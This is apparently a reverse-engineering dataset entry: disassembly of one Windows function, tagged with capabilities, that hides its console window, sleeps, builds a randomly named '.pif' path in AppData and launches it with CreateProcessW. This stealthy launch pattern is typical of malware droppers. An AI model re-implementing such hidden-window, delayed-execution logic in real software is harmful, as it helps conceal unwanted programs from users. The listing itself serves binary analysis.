Function at 0x403890
Capabilities:
Create process on windows
Get common file path
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1658
call fcn.00408f00
mov eax, dword [0x42c080]
xor eax, esp
mov dword [esp + 0x1654], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0x2710
call dword [sym.imp.KERNEL32.dll_SleepEx]
lea eax, [esp + 0x1550]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x40396a
push 0x1b
xorps xmm0, xmm0
mov dword [esp + 0x84], 0
push str.Failed_to_get_AppData_path.
lea ecx, [esp + 0x78]
movaps xmmword [esp + 0x78], xmm0
mov dword [esp + 0x8c], 0
call fcn.00402760
mov ecx, dword [esp + 0x84]
cmp ecx, 0xf
jbe 0x403951
mov edx, dword [esp + 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403947
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [esp + 0x1654]
xor ecx, esp
call fcn.00407f1e
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [esp + 0x1550]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403974
sub ecx, edx
mov dword [esp + 0x80], 0
lea eax, [esp + 0x1550]
mov dword [esp + 0x84], 0
add eax, ecx
lea edx, [esp + 0x1550]
xorps xmm0, xmm0
movaps xmmword [esp + 0x70], xmm0
cmp edx, eax
jne 0x4039c3
xor eax, eax
mov dword [esp + 0x84], 7
mov word [esp + 0x70], ax
jmp 0x4039d6
push ecx
push ecx
lea eax, [esp + 0x1558]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406e80
push str..pif
lea ecx, [esp + 0x1c]
call fcn.00402d20
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x16c]
call fcn.00403060
mov ecx, dword [esp + 0x30]
add esp, 4
cmp ecx, 7
jbe 0x403a34
mov edx, dword [esp + 0x18]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403a2a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
call fcn.00407975
push eax
lea ecx, [esp + 0x1cc]
call fcn.00405460
mov ecx, dword [0x42dd5c]
mov eax, 0x2aaaaaab
mov edi, dword [0x42dd58]
sub ecx, edi
imul ecx
lea ecx, [esp + 0x1c8]
sar edx, 2
mov esi, edx
shr esi, 0x1f
dec esi
add esi, edx
xor esi, 0x80000000
cmp esi, 0x7fffffff
jne 0x403a84
call fcn.00407100
mov ecx, eax
jmp 0x403aca
add esi, 0x80000001
call fcn.00407100
mul esi
mov dword [esp + 0x14], eax
mov ecx, edx
cmp eax, esi
jae 0x403aca
mov eax, esi
xor edx, edx
neg eax
div esi
mov edi, edx
cmp dword [esp + 0x14], edi
jae 0x403ac4
nop dword [eax + eax]
lea ecx, [esp + 0x1c8]
call fcn.00407100
mul esi
mov ecx, edx
cmp eax, edi
jb 0x403ab0
mov edi, dword [0x42dd58]
lea eax, [ecx + ecx*2]
lea eax, [edi + eax*8]
push eax
lea ecx, [esp + 0x154]
call fcn.00403060
mov ecx, dword [esp + 0x84]
mov edi, 0x7ffffffe
mov eax, edi
add esp, 4
sub eax, ecx
cmp eax, 1
jb 0x4042a7
cmp dword [esp + 0x84], 7
lea eax, [esp + 0x70]
push 1
cmova eax, dword [esp + 0x74]
push 0x4285e4
push ecx
push eax
push ecx
push dword [esp + 0x28]
lea ecx, [esp + 0x30]
call fcn.00406d80
lea eax, [esp + 0x168]
push eax
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x10c]
call fcn.00406510
mov ecx, dword [esp + 0x30]
add esp, 4
cmp ecx, 7
jbe 0x403b78
mov edx, dword [esp + 0x18]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403b6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042ac
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0x80]
mov eax, edi
sub eax, ecx
cmp eax, 1
jb 0x4042b1
cmp dword [esp + 0x84], 7
lea eax, [esp + 0x70]
push 1
cmova eax, dword [esp + 0x74]
push 0x4285e4
push ecx
push eax
push ecx
push dword [esp + 0x28]
lea ecx, [esp + 0x30]
call fcn.00406d80
lea eax, [esp + 0x150]
push eax
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x13c]
call fcn.00406510
mov ecx, dword [esp + 0x30]
add esp, 4
cmp ecx, 7
jbe 0x403c0b
mov edx, dword [esp + 0x18]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403c01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042b6
push ecx
push edx
call fcn.004082cc
add esp, 8
push ecx
mov edx, 0x428734
lea ecx, [esp + 0xf4]
call fcn.00402bf0
mov edx, 0x42870c
lea ecx, [esp + 0xdc]
call fcn.00402bf0
mov ecx, dword [esp + 0xf4]
lea edx, [esp + 0xf4]
mov eax, dword [esp + 0x104]
add esp, 4
cmp dword [esp + 0x104], 0xf
xorps xmm0, xmm0
movaps xmmword [esp + 0xb0], xmm0
cmova edx, ecx
mov dword [esp + 0xc0], 0
add eax, edx
mov dword [esp + 0xc4], 0
cmp dword [esp + 0x104], 0xf
lea edx, [esp + 0xf0]
cmova edx, ecx
cmp edx, eax
jne 0x403ca1
xor eax, eax
mov dword [esp + 0xc4], 7
mov word [esp + 0xb0], ax
jmp 0x403cb2
sub eax, edx
push eax
push ecx
push edx
lea ecx, [esp + 0xbc]
call fcn.00406e80
cmp dword [esp + 0xec], 0xf
lea edx, [esp + 0xd8]
mov ecx, dword [esp + 0xd8]
xorps xmm0, xmm0
mov eax, dword [esp + 0xe8]
cmova edx, ecx
add eax, edx
movaps xmmword [esp + 0x90], xmm0
cmp dword [esp + 0xec], 0xf
lea edx, [esp + 0xd8]
mov dword [esp + 0xa0], 0
cmova edx, ecx
mov dword [esp + 0xa4], 0
cmp edx, eax
jne 0x403d22
xor eax, eax
mov dword [esp + 0xa4], 7
mov word [esp + 0x90], ax
jmp 0x403d33
sub eax, edx
push eax
push ecx
push edx
lea ecx, [esp + 0x9c]
call fcn.00406e80
lea edx, [esp + 0x108]
lea ecx, [esp + 0xb0]
call fcn.00403240
lea edx, [esp + 0x138]
lea ecx, [esp + 0x90]
call fcn.00403240
mov ecx, dword [esp + 0x118]
sub edi, ecx
cmp edi, 1
jb 0x4042bb
cmp dword [esp + 0x11c], 7
lea eax, [esp + 0x108]
push ecx
cmova eax, dword [esp + 0x10c]
push eax
push 1
push 0x4285e8
push ecx
push dword [esp + 0x28]
lea ecx, [esp + 0x60]
call fcn.00406d80
push 0x4285e8
lea eax, [esp + 0x13c]
push eax
push 0x4285ec
lea edx, [esp + 0x54]
lea ecx, [esp + 0x24]
call fcn.004065d0
add esp, 4
lea ecx, [esp + 0x38]
mov edx, eax
call fcn.00406510
add esp, 4
lea ecx, [esp + 0x124]
mov edx, eax
call fcn.004065d0
mov ecx, dword [esp + 0x48]
add esp, 4
cmp ecx, 7
jbe 0x403e16
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403e0c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c0
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0x2c]
xor eax, eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 7
mov word [esp + 0x30], ax
cmp ecx, 7
jbe 0x403e69
mov edx, dword [esp + 0x18]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403e5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c0
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0x5c]
xor eax, eax
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 7
mov word [esp + 0x18], ax
cmp ecx, 7
jbe 0x403ebc
mov edx, dword [esp + 0x48]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403eb2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c0
push ecx
push edx
call fcn.004082cc
add esp, 8
push 0x40
lea eax, [esp + 0x188]
mov dword [esp + 0x184], 0x44
push 0
push eax
call fcn.00409b40
add esp, 0xc
lea ecx, [esp + 0x60]
cmp dword [esp + 0x134], 7
lea eax, [esp + 0x120]
cmova eax, dword [esp + 0x120]
push ecx
lea ecx, [esp + 0x184]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403f36
push 0xffffffffffffffff
push dword [esp + 0x64]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x64]
call esi
mov ecx, dword [esp + 0x134]
cmp ecx, 7
jbe 0x403f78
mov edx, dword [esp + 0x120]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403f6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0xa4]
xor eax, eax
mov dword [esp + 0x130], 0
mov dword [esp + 0x134], 7
mov word [esp + 0x120], ax
cmp ecx, 7
jbe 0x403fda
mov edx, dword [esp + 0x90]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403fd0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0xc4]
xor eax, eax
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 7
mov word [esp + 0x90], ax
cmp ecx, 7
jbe 0x40403c
mov edx, dword [esp + 0xb0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404032
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0xec]
xor eax, eax
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 7
mov word [esp + 0xb0], ax
cmp ecx, 0xf
jbe 0x404098
mov edx, dword [esp + 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40408e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0x104]
mov dword [esp + 0xe8], 0
mov dword [esp + 0xec], 0xf
mov byte [esp + 0xd8], 0
cmp ecx, 0xf
jbe 0x4040f2
mov edx, dword [esp + 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4040e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0x14c]
mov dword [esp + 0x100], 0
mov dword [esp + 0x104], 0xf
mov byte [esp + 0xf0], 0
cmp ecx, 7
jbe 0x404152
mov edx, dword [esp + 0x138]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404148
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0x11c]
xor eax, eax
mov dword [esp + 0x148], 0
mov dword [esp + 0x14c], 7
mov word [esp + 0x138], ax
cmp ecx, 7
jbe 0x4041b4
mov edx, dword [esp + 0x108]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4041aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0x164]
xor eax, eax
mov dword [esp + 0x118], 0
mov dword [esp + 0x11c], 7
mov word [esp + 0x108], ax
cmp ecx, 7
jbe 0x404216
mov edx, dword [esp + 0x150]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40420c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0x17c]
cmp ecx, 7
jbe 0x404254
mov edx, dword [esp + 0x168]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40424a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0x84]
cmp ecx, 7
jbe 0x40428f
mov edx, dword [esp + 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404285
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042c5
push ecx
push edx
call fcn.004082cc
add esp, 8
mov ecx, dword [esp + 0x165c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00407f1e
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401b60
call fcn.0040e289
call fcn.00401b60
call fcn.0040e289
call fcn.00401b60
call fcn.0040e289
call fcn.0040e289
int3